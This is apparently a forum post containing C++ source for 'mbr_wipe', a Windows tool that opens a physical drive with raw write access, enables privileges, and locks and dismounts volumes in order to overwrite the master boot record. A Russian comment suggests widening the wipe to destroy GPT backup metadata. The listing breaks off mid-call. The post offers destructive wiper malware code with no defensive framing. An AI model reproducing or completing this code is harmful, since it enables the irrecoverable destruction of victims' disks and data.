tu_titan_fedor :
// mbr_wipe.cpp
// build: cl /std:c++17 /EHsc /O2 mbr_wipe.cpp
// run as admin.
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "advapi32.lib")
static constexpr DWORD SECTOR = 512;
static constexpr DWORD SECTORS_TO_NUKE = 1; // MBR only. поставить 2048 чтобы снести GPT backup + первые метаданные.
static bool EnablePrivilege(const wchar_t* name) {
HANDLE tok = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tok))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, name, &luid)) { CloseHandle(tok); return false; }
TOKEN_PRIVILEGES tp{};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(tok, FALSE, &tp, sizeof(tp), nullptr, nullptr);
DWORD err = GetLastError();
CloseHandle(tok);
return ok && err == ERROR_SUCCESS;
}
static bool LockVolume(HANDLE h) {
DWORD ret = 0;
return DeviceIoControl(h, FSCTL_LOCK_VOLUME, nullptr, 0, nullptr, 0, &ret, nullptr);
}
static bool DismountVolume(HANDLE h) {
DWORD ret = 0;
return DeviceIoControl(h, FSCTL_DISMOUNT_VOLUME, nullptr, 0, nullptr, 0, &ret, nullptr);
}
static bool WriteRaw(HANDLE h, uint64_t offset, const void* buf, DWORD len) {
LARGE_INTEGER li{};
li.QuadPart = (LONGLONG)offset;
if (!SetFilePointerEx(h, li, nullptr, FILE_BEGIN)) return false;
DWORD written = 0;
if (!WriteFile(h, buf, len, &written, nullptr)) return false;
return written == len;
}
static bool FlushRaw(HANDLE h) {
return FlushFileBuffers(h);
}
int wmain(int argc, wchar_t** argv) {
int diskIndex = 0;
if (argc >= 2) diskIndex = _wtoi(argv[1]);
std::wstring path = L"\\\\.\\PhysicalDrive" + std::to_wstring(diskIndex);
if (!EnablePrivilege(SE_DEBUG_NAME)) {
std::fwprintf(stderr, L"[!] SE_DEBUG_NAME not enabled (err=%lu)\n", GetLastError());
}
HANDLE h = CreateFileW(
path.c_str(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN
2026-09-18 15:33:55